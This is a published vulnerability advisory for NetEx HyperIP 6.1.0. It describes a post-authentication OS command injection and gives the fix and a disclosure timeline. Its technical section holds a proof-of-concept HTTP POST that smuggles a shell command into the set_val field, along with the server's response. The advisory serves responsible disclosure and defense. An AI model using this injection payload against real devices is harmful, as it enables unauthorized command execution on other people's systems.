NetEx HyperIP version 6.1.0 suffers from a post-authentication command execution vulnerability.
80d93fa64c37b062c3c6cc3a74d00cdfKL-001-2018-003 : NetEx HyperIP Post-Auth Command Execution
Title: NetEx HyperIP Post-Auth Command Execution
Advisory ID: KL-001-2018-003
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-003.txt
1. Vulnerability Details
Affected Vendor: NetEx
Affected Product: HyperIP
Affected Version: 6.1.0
Platform: Embedded Linux
CWE Classification: CWE-78: Improper Neutralization of Special Elements used in an OS Command, CWE-250: Execution
with Unnecessary Privileges
Impact: Arbitrary Command Execution
Attack vector: HTTPS
2. Vulnerability Description
A command injection vulnerability can be leveraged to execute
operating system commands.
3. Technical Description
A POST variable is handled unsafely, allowing execution of arbitrary
commands with the privileges of the webserver process. In the below
example, set_val= is used to copy an existing executable file into
a writable directory.
POST /hypmisc.php HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
Cookie: auth-token=b6b73844ce4df64f459948c5475a1096
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
set_id=msglvl&set_val=$(cp /etc/profile.d/which-2.sh /var/ftp/pub/updates/a.run)&perm=on&submit=Set
HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 07:20:56 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1057
Connection: close
Content-Type: text/html; charset=UTF-8
4. Mitigation and Remediation Recommendation
The vendor has released version 6.1.1 of HyperIP, which they state
addresses this vulnerability.
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2017.07.24 - KoreLogic submits vulnerability details to NetEx.
2017.07.24 - NetEx confirms receipt.
2017.08.16 - NetEx informs KoreLogic that this and other reported
vulnerabilities have been addressed in the forthcoming
release. ETA as of yet undetermined.
2017.09.05 - 30 business days have elapsed since the vulnerability
was reported to NetEx.
2017.09.19 - NetEx informs KoreLogic that the forthcoming release
6.1.1 is expected to ship at the end of January 2018.
2017.09.26 - 45 business days have elapsed since the vulnerability
was reported to NetEx.
2017.12.01 - 90 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.17 - 120 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
has gone live.
2018.02.08 - KoreLogic public disclosure.
7. Proof of Concept
See 3. Technical Description.
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